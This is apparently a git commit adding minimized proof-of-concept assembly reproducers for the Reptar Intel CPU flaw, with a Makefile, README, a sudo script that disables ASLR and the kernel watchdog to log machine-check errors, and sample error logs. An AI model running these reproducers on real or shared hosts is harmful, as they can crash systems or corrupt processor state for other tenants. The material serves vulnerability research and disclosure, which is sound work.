Add minimized examples for easier testing. (#68)

* add minimized example

* rename rexit to reptar on makefile

* add loopless

* better debugging

* use sched_deadline

* undo sched_deadline

* Rename reptar.asm to reptar.loop.asm

* Update Makefile

* add reptar elf file

* add asm

* add the two variants of the elf

* add mce poc

* update mce poc

* simplify mce poc

* increase copies of reptar 10x

* ignore output

* add alignment poc

* document a bit whats going on with alignment

* add xlat poc

* automatically discover output files

* adjust offsets

* smaller file

* add mce error example

* simplify code for clarity

* add mce logger

* improve mce logging facilities

* keep full reptar log

* offline cpu2

* revert offlinging cpu2

* Add some docs

* Formatting fixes.

* add refs and boot example

* explain mce.txt

* rename files to make more sense

* fix docs

* fix docs

* make mce configurable

* add instructions

* also mark clean as a phony

* simplify vdso pocs

.gitignore

@@ -0,0 +1,3 @@
+pocs/cpus/reptar/minimized/reptar.*.bin
+pocs/cpus/reptar/minimized/reptar.*.elf
+pocs/cpus/reptar/minimized/reptar.log

pocs/cpus/reptar/minimized/Makefile

@@ -0,0 +1,27 @@
+elf_targets=$(shell find . -name '*.elf.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs)
+bin_targets=$(shell find . -name '*.bin.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs)
+
+all: $(elf_targets) $(bin_targets)
+always-rebuild:
+
+.PHONY: all clean always-rebuild
+
+# always rebuild mce because it depends on env vars
+reptar.mce.elf.asm: always-rebuild
+	touch reptar.mce.elf.asm
+
+%.bin.asm: third_party/*.asm
+	touch $@
+
+%.bin: %.bin.asm
+	nasm -f bin $^ -o $@
+	chmod +x $@
+
+%.o: %.elf.asm
+	nasm -g -F DWARF -f elf64 $^ -o $@
+
+%.elf: %.o
+	ld $^ -o $@
+
+clean:
+	rm -rf *.o *.elf *.bin

pocs/cpus/reptar/minimized/README.md

@@ -0,0 +1,15 @@
+# Minimized Reptar Examples
+
+This directory provides a set of examples to reproduce and study the Reptar vulnerability.
+
+You can build them all simply by running `make`. Building the code requires `nasm`, `binutils` (for `ld`) and `make`. On an ubuntu system you can install these with `apt install -y nasm make binutils`.
+
+## Quick Summary
+
+- **reptar.align.elf.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time.
+- **reptar.boot.bin.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.bin`.
+- **reptar.xlat.elf.asm**: This is similar to `reptar.align.elf.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`.
+- **reptar.loopless.elf.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top.
+- **reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging.
+- **reptar.vdso.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function. As a result, the current time is stored in the address pointed to by RAX, which is then clflushed so it triggers a segfault to the current time. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$.
+- **reptar.mce.elf.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. If no MCE is visible, define `MCE_INSTRUCTION='rep movsb'` as that works instead on some CPUs.

pocs/cpus/reptar/minimized/log_mce.sh

@@ -0,0 +1,28 @@
+#!/bin/bash
+
+set -ex
+
+touch reptar.log
+cat reptar.log
+echo > reptar.log
+
+sudo mount -t debugfs none /sys/kernel/debug || true
+echo 1 | sudo tee /sys/kernel/debug/mce/fake_panic
+echo 0 | sudo tee /proc/sys/kernel/watchdog
+echo 0 | sudo tee /proc/sys/kernel/printk_ratelimit
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+echo 0 | sudo tee /sys/bus/cpu/devices/cpu15/online
+
+touch reptar.mce.asm
+make reptar.mce.elf
+
+for i in {1..10}; do
+    echo $i | tee -a reptar.log
+    sudo sync
+    sleep 0.3s
+    taskset -c 7 ./reptar.mce.elf &
+    sleep 1s
+    sudo dmesg -t | grep mce: | uniq -c | tee -a reptar.log
+    sudo cat /sys/kernel/debug/mce/severities-coverage | grep -v $'^0\t' | tr '\n' , | tr '\t' : | tee -a reptar.log
+    kill -9 %1 || true
+done

pocs/cpus/reptar/minimized/mce.txt

@@ -0,0 +1,43 @@
+mce: [Hardware Error]: Machine check events logged
+mce: [Hardware Error]: CPU 7: Machine Check: 0 Bank 0: f6000000000f0150
+mce: [Hardware Error]: TSC 0 ADDR a540a56 
+mce: [Hardware Error]: PROCESSOR 0:806d1 TIME 1700915672 SOCKET 0 APIC e microcode 3c
+
+Machine check events logged
+Hardware event. This is not a software error.
+CPU 7 BANK 0 
+ADDR a540a56 
+TIME 1700915672 Sat Nov 25 13:34:32 2023
+MCG status:
+MCi status:
+Error overflow
+Uncorrected error
+Error enabled
+MCi_ADDR register valid
+Processor context corrupt
+MCA: Instruction CACHE Level-1 Instruction-Fetch Error
+STATUS f6000000000f0150 MCGSTATUS 0
+CPUID Vendor Intel Family 6 Model 141 Step 1
+SOCKET 0 APIC e microcode 3c
+
+mce: [Hardware Error]: Machine check events logged
+mce: [Hardware Error]: CPU 7: Machine Check: 0 Bank 3: be00000000800400
+mce: [Hardware Error]: TSC 0 ADDR 41a193 MISC 41a193 
+mce: [Hardware Error]: PROCESSOR 0:806d1 TIME 1700915672 SOCKET 0 APIC e microcode 3c
+
+Machine check events logged
+Hardware event. This is not a software error.
+CPU 7 BANK 3 
+MISC 41a193 ADDR 41a193 
+TIME 1700915672 Sat Nov 25 13:34:32 2023
+MCG status:
+MCi status:
+Uncorrected error
+Error enabled
+MCi_MISC register valid
+MCi_ADDR register valid
+Processor context corrupt
+MCA: Internal Timer error
+STATUS be00000000800400 MCGSTATUS 0
+CPUID Vendor Intel Family 6 Model 141 Step 1
+SOCKET 0 APIC e microcode 3c

pocs/cpus/reptar/minimized/reptar.align.elf.asm

@@ -0,0 +1,39 @@
+BITS 64
+
+global _start
+
+section .text
+    _start:
+        mov eax, 24 ; yield
+        jmp .suffix
+        .attack:
+        mov eax, 60 ; exit
+        xor ecx, ecx; clear ecx
+        lea rsi, [rsp+1]
+        mov rdi, rsi
+        .many_reptars:
+        %rep 1
+            align 0x1000
+            ; 16 bytes
+            times 4 nop ; 4 bytes
+            dec rsi     ; 3 bytes
+            dec rdi     ; 3 bytes
+            inc rbx     ; 3 bytes
+            inc rcx     ; 3 bytes
+            ; 16 bytes
+            clflush [rdi]    ; 3 bytes
+            clflush [rsi+64] ; 4 bytes
+            mov [rsp], rbx   ; 4 bytes
+            rep              ; 1 byte
+            db 0x44; rex.r   ; 1 byte
+            movsb            ; 1 byte
+            rep              ; 1 byte
+            nop              ; 1 byte
+        %endrep
+        .suffix:
+        align 0x1000
+        times 0x1000*8 rep pause
+        .exit:
+        mov dil, bl ; counter
+        syscall
+        jmp .attack

pocs/cpus/reptar/minimized/reptar.boot.bin.asm

@@ -0,0 +1,28 @@
+%macro LONG_MODE_BOOT_PAYLOAD 0
+        xor rbx, rbx
+        .attack:
+        xor ecx, ecx
+        lea rsi, [rsp+1]
+        mov rdi, rsi
+        .many_reptars:
+            align 64
+            ; 16 bytes
+            times 4 nop ; 4 bytes
+            dec rsi     ; 3 bytes
+            dec rdi     ; 3 bytes
+            inc rbx     ; 3 bytes
+            inc rcx     ; 3 bytes
+            ; 16 bytes
+            clflush [rdi]    ; 3 bytes
+            clflush [rsi+64] ; 4 bytes
+            ;mov [rsp], rbx   ; 4 bytes
+            rep              ; 1 byte
+            db 0x44; rex.r   ; 1 byte
+            movsb            ; 1 byte
+            rep              ; 1 byte
+            nop              ; 1 byte
+        mov dil, bl ; counter
+        jmp .attack
+%endmacro
+
+%include "third_party/long_mode_boot.asm"

pocs/cpus/reptar/minimized/reptar.loop.elf.asm

@@ -0,0 +1,59 @@
+BITS 64
+
+global _start
+
+section .data
+    data: times 128 db 0
+
+section .text
+    _start:
+        mov cl, 7
+        mov eax, data
+        .loop_for_every_iteration:
+            mov rbx, cs
+            push rbx
+            push .loop_only_on_bug
+            call far [rsp]
+            .return_from_far_call:
+            align 64
+            .loop_only_on_bug:
+                push rcx
+                clflush [rax]
+                clflush [rax+64]
+                mov rsi, 0
+                cmp cl, 7
+                cmove rsi, rax ; only make a valid move if rcx is 7
+                mov rdi, data
+                mov cl, 1
+
+                align 64
+                .reptar:
+                    rep
+                    db 0x44; rex.r
+                    movsb
+                ; WHEN THE BUG TRIGGERS NOTHING BELOW HERE EXECUTES
+                ; the instructions at loop_only_on_bug execute instead
+                ; and the instruction pointer as seen by interrupts is
+                ; the one as if the execution continued below
+                .after_reptar:
+                    rep
+                    times 4 nop
+                    jmp .skip_reptar_alias
+
+                align 64
+                ; this is aligned to match the rep rex.r movsb instruction
+                .reptar_alias:
+                    nop;rep
+                    nop;rex.r
+                    nop;movsb
+                ; we cause a segfault on movsb above (by cmov rsi) but RIP will
+                ; point here instead on the segfault.
+                .after_reptar_alias:
+                    times 100 int3
+
+                .skip_reptar_alias:
+                    mov cl, 7
+                    align 32
+                    call .loop_for_every_iteration
+                .end_of_program:
+                    nop

pocs/cpus/reptar/minimized/reptar.loopless.elf.asm

@@ -0,0 +1,81 @@
+BITS 64
+
+; rax ; USED (for CPUID temporarily)
+; rbx ; USED (for CPUID temporarily)
+; rcx ; USED (for CPUID and REP MOVSB)
+; rdx ; USED (temporarily and for CPUID)
+; rbp ; USED (magic 0xCC)
+; rsp ; USED (for counter)
+; rsi ; USED (for REP MOVSB)
+; rdi ; USED (for REP MOVSB)
+; r8  ; NOT USED
+; r9  ; USED (data address)
+; r10 ; NOT USED
+; r11 ; NOT USED
+; r12 ; NOT USED
+; r13 ; NOT USED
+; r14 ; NOT USED
+; r15 ; NOT USED
+
+global _start
+
+%macro loopless_reptar 0
+    align 128
+    %%loop_for_every_iteration:
+        ; FLUSH TO MAKE INSTRUCTIONS BELOW SLOW
+        clflush [one]
+        clflush [magic]
+        clflush [r9]
+        clflush [r9+64]
+        clflush [r9+128]
+        mfence
+        lfence
+        sfence
+        cpuid
+
+        add r9, [r9]
+        mov rdx, [r9+64]
+        lea rax, [r9]
+        div qword [one+rdx]
+        lea r9, [rax]
+        mov rsi, [r9]
+        cmp rbp, [magic+rsi+rdx]
+        cmove rsi, r9
+        mov rdi, [r9+128+rdx]
+        lea rdi, [rsi+rdi]
+        mov ecx, [one+rdx]
+        xor ebp, ebp
+
+        align 128
+        %%reptar:
+            rep
+            db 0x44; rex.r
+            movsb
+        %%after_reptar:
+            rep nop
+            mov ebp, 0xcccccccc
+            nop
+%endmacro
+
+section .data
+    one: dq 0x1
+    magic: dq 0xcccccccc
+    data: times 512 db 0
+
+section .text
+    _start:
+        mov r9, data
+        mov ebp, 0xcccccccc
+        xor rsp, rsp
+        ; make sure these dont pf
+        clflush [data]
+        clflush [one]
+        clflush [magic]
+        mov rax, 24 ; sched_yield
+        syscall
+        %rep 2
+            loopless_reptar
+            inc rsp
+        %endrep
+    .end_of_program:
+    hlt

pocs/cpus/reptar/minimized/reptar.mce.elf.asm

@@ -0,0 +1,32 @@
+BITS 64
+
+%define MCE_INSTRUCTION pause
+; Define MCE_INSTRUCTION as an env var
+%ifenv %!MCE_INSTRUCTION
+    %define MCE_INSTRUCTION %!MCE_INSTRUCTION
+%endif
+
+global _start
+
+section .text
+    _start:
+        lea rsi, [rsp+1]
+        mov rdi, rsi
+        align 0x1000
+        times 8*64*64 MCE_INSTRUCTION
+        .many_reptars:
+        %rep 64*8 ; icache has 8 ways 64 sets
+            clflush [rdi-1] ; 4uops     ; 4 bytes
+            clflush [rsi+63]; 4uops     ; 4 bytes
+            dec rsi         ; 1uop      ; 3 bytes
+            dec rdi         ; 1uop      ; 3 bytes
+            times 2 nop     ; 2uops     ; 2 bytes
+            ; 16 byte boundary + 2 ways
+            inc rcx         ; 1uop      ; 3 bytes
+            rep
+            db 0x44; rex.r
+            movsb           ; msrom ptr ; 3 bytes
+            MCE_INSTRUCTION
+            align 64 ; icache line size
+        %endrep
+        times 8*64*64*100 MCE_INSTRUCTION